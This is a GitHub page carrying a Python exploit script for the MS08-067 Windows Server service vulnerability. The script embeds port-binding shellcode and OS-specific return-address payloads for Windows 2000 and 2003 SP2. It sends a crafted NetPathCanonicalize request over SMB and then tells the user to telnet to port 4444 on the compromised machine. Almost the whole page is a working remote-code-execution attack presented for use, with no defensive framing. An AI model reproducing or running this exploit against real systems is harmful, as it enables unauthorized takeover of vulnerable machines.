-
Notifications
You must be signed in to change notification settings - Fork 154
/
Copy pathms08-067_exploit_7132.py
157 lines (136 loc) · 7.07 KB
/
ms08-067_exploit_7132.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#!/usr/bin/env python
#############################################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import struct
import sys
from threading import Thread #Thread is imported incase you would like to modify
#the src to run against multiple targets.
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
print '#######################################################################'
print '# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
print '# www.hackingspirits.com'
print '# www.coffeeandsecurity.com'
print '# Email: d3basis.m0hanty @ gmail.com'
print '#######################################################################\n'
#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
#Payload for Windows 2000 target
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\xeb\xcc'
payload_1+='\x00\x00'
#Payload for Windows 2003[SP2] target
payload_2='\x41\x00\x5c\x00'
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'
if sys.argv[2]=='1': #Windows 2000 Payload
payload=payload_1
print '[-]Windows 2000 payload loaded'
if sys.argv[2]=='2': #Windows 2003[SP2] Payload
payload=payload_2
print '[-]Windows 2003[SP2] payload loaded'
class SRVSVC_Exploit(Thread):
def __init__(self, target, osver, port=445):
super(SRVSVC_Exploit, self).__init__()
self.__port = port
self.target = target
self.osver = osver
def __DCEPacket(self):
print '[-]Initiating connection'
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
# Constructing Malicious Packet
self.__stub='\x01\x00\x00\x00'
self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
self.__stub+=shellcode
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
self.__stub+=payload
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
self.__stub+='\x01\x00\x00\x00'
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation
print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'
if __name__ == '__main__':
try:
target = sys.argv[1]
osver = sys.argv[2]
except IndexError:
print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]
print 'Example: srvsvcexpl.py 192.168.1.1 2\n'
print 'Select OS Version'
print '[-]Windows 2000: OS Version = 1'
print '[-]Windows 2003[SP2]: OS Version = 2'
sys.exit(-1)
current = SRVSVC_Exploit(target, osver)
current.start()
#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'
# milw0rm.com [2008-11-16]